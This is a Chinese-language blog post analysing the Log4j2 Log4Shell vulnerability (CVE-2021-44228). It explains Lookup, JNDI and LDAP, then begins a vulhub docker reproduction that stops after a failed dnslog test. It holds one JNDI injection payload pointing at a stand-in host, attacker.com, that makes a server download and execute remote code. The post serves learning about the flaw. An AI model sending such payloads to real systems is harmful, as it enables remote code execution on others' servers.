漏洞分析之 CVE-2021-44228
Log4j2 核弹级漏洞,时隔四年的复现。
前言
当时这个漏洞出来的时候各种公众号关于这个的稿子满天飞,但是一直是个守法好公民,也没想着拿去梭两把。
虽然现在对 Java 不怎么熟悉,但是还是想挑战下自己,觉得会挺有意思的。
前置知识
Log4j2 的日志记录功能
第一次看到 Log4j 可能会有点奇怪 —— 怎么叫这名
但是如果说这个是 Log for Java 的谐音的话,那一切就合理了
Log4j2 也不难理解,就是 Log4j 的第二个版本,就跟 python2 和 python3 一样,最早其实也是有 python 1.x 版本的,但是 python2 从 2000 年就开始推行,所以没人认识 python1.x 而已。
Lookup 功能的设计缺陷
Log4j2 支持一种名为 Lookup 的功能,允许在日志中插入动态内容,比如环境变量、系统信息等。
其语法为 ${...}
,例如 ${java:version}
会被替换为当前 Java 版本,听起来有点 SSTI 那味了。
JNDI
JNDI,全称 Java Naming and Directory Interface,Java 命名和目录接口,是 Java 提供的一种 API,用于访问命名和目录服务。
没接触过的读者看到这行字可能会心想:叽里咕噜说什么呢
但是问题不大,我也没看懂。
我们只需要大概理解成给他一个名字,他就能找到你想要的东西就行了,类似 Python 里的字典。
LDAP
LDAP,全称 Lightweight Directory Access Protocol,轻量级目录访问协议,是一种用于访问和维护分布式目录信息服务的协议。
如果这个也不看懂,那也没关系,同样类比 HTTP 协议就行了。
原理
假设有一个 Java 网站的登录接口记录用输入的用户名,大概意思是这样,代码不一定对:
1 | logger.error("登录失败,用户名:" + username); |
若攻击者提交的用户名为 ${jndi:ldap://attacker.com/Exploit}
,那么
- Log4j2 会解析
${jndi:...}
,向attacker.com
发起 LDAP 请求。 - LDAP 服务器返回一个指向
http://attacker.com/Exploit.class
的地址。 - Java 应用下载并执行
Exploit.class
中的恶意代码。
复现
受影响的版本 Apache Log4j 2.x <= 2.14.1
使用 vulhub 的 docker 镜像,位于 /log4j/CVE-2021-44228
1 | docker-compose up -d |
启动一下(每日热知识:-d
是 --detach
的缩写,表示在后台运行容器)
试了好久那个 dnslog 都不行,
参考
log4j2漏洞CVE-2021-44228复现笔记(纯步骤过程,没有复杂的知识点)
跟个风,聊一聊这两天很火的Log4j核弹级漏洞
漏洞分析之 CVE-2021-44228